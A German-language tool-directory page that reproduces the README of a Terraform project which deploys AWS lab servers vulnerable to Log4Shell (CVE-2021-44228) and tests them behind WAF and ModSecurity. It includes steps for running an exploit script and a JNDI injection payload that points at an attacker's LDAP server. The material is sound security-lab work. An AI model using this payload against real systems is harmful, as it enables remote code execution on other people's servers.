Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
tf-log4j-aws-poc — Die Dateien dieses Projekts demonstrieren einen Proof-of-Concept der log4j-Schwachstelle (CVE-2021-44228) auf AWS mithilfe von Terraform als Infrastructure-as-a-Code-Ansatz. | Kitploit
Tools/GitHubGitHub/moshuum/tf-log4j-aws-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCloud-Sicherheit
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Die Dateien dieses Projekts demonstrieren einen Proof-of-Concept der log4j-Schwachstelle (CVE-2021-44228) auf AWS mithilfe von Terraform als Infrastructure-as-a-Code-Ansatz.

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Readme

Projektbeschreibung

Diese Projektdateien demonstrieren einen Proof-of-Concept der log4j-Sicherheitslücke (CVE-2021-44228) auf AWS mithilfe von Terraform Infrastructure-as-a-Code.

Es gibt 2 Demos in diesem Projekt:

  1. single-instance enthält einen verwundbaren Server; man kann den Server vom eigenen Computer aus angreifen. Der Server sollte mit AWS WAF geschützt sein.
  2. double-instance enthält 2 Dienste; der verwundbare Server ist nur vom Reverse-Proxy-Server aus erreichbar. Der Reverse-Proxy sollte durch ModSecurity geschützt sein.

Fazit: Die erste Demo zeigt einen erfolgreichen Exploit mit AWS WAF. Die zweite Demo war ein fehlgeschlagener Versuch, als ModSecurity aktiviert war. Entfernt man ModSecurity, ist der Exploit erfolgreich. Das liegt möglicherweise daran, dass ModSecurity ein aktives Projekt ist, weshalb die verwundbaren Strings erkannt und herausgefiltert werden.

Danksagung

Dieser PoC stammt von: https://github.com/kozmer/log4j-shell-poc

Dieser Medium-Blog erklärt den Angriffsversuch Schritt für Schritt: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

Meine Tests

Ich persönlich habe mit Windows + Powershell getestet, die Cloud-Maschine läuft mit Ubuntu 18 LTS. (Ausnutzung mit Kali oder einem beliebigen Linux)

Voraussetzungen

  1. AWS_CLI installiert
  2. Terraform CLI installiert
  3. Access Key bereithalten

RSA-Schlüssel

Über das Web anlegen (Name: 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Access Key abrufen

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Benutzer auswählen > Bereich security_credentials auswählen

Access Key in der Shell festlegen

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Verwendung

EC2 in der AWS-Plattform einrichten

cd single-instance
terraform init
terraform apply

Nach dem Ausführen wird eine IP / DNS aufgelistet.

Stelle bei single-instance sicher, dass http:<aws host url>:8080 erreichbar ist.

Stelle bei double-instance sicher, dass http:<aws host url> erreichbar ist.

* Bitte beachte, dass das Hochfahren von 'double-instance' wesentlich länger dauert; nach dem SSH-Zugang zum System kann journalctl -f verwendet werden, um den Fortschritt zu verfolgen.

Wenn man dem Journal folgt, bedeutet „Reached target Cloud-init target.“, dass das System den Bereitschaftszustand erreicht hat.
exploit

Remote-/Localhost-Client vorbereiten (Angreifer):

Ausführungsberechtigung festlegen chmod +x ../exploit-script-remote.sh

Skript mit der angegebenen Variable ausführen
../exploit-script-remote.sh

Beachte, dass das Payload am Ende des Skripts angezeigt wird, ähnlich wie ${jndi:ldap://<ip-address>:1389/a}

Verwundbarer Server:

Rufe http:<aws host url>:8080 auf

Kopiere das Payload in das Feld 'username' und sende dann das Formular ab.

exploit

Hinweis

JDK-Datei: Die Integrität der Datei aus der Baidu-Quelle wurde sichergestellt; sie stimmt mit dem Hash von Oracle überein.
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Referenzen

Instanz: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Spot-Instanz: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[SSH-Schlüssel bei Bedarf] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Templating: https://spacelift.io/blog/terraform-templates

AWS-AZ-ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Was ich gelernt habe

  • (viel Zeit investiert) provision nicht als Bash-Skript verwenden / stattdessen template verwenden (man könnte besser erkennen, ob man Rechte herabstufen kann)
  • Der über das Web erzeugte RSA-Schlüssel ist zuverlässiger als ein manuell per aws-cli erzeugter, wenn man .pem verwendet (die Kompatibilität der .pem-Datei mit SSH-Client oder AWS-Server betrifft); andernfalls einen normalen RSA-Schlüssel ohne pem verwenden.
  • Ich konnte eine Spot-Instanz anstelle einer normalen Instanz nutzen, um etwas Kosten zu sparen.
  • Das Freigeben eines Ports durch Docker kann Firewall-Regeln überschreiben.
  • (viel Zeit investiert) Einrichtung und Fehlersuche bei Netzwerken nimmt viel Zeit in Anspruch – Route und VPC benötigen eine Sicherheitsgruppe (sec-group), der EC2-Host eine weitere – und beide Sicherheitsgruppen müssen auf die VPC zeigen.
  • wget kann keine langen Download-Sitzungen durchführen.

# Zeitprotokoll

  • Start 06 Jun 11AM UTC+0800 - 07 Jun 4AM (poc+tf+aws -waf abgeschlossen) - 17 Stunden
  • Start 07 Jun 1PM UTC+0800 - 08 Jun 5AM (zweiter Fall abgeschlossen, bei dem ein Reverse-Proxy verwendet wurde)
Tool herunterladen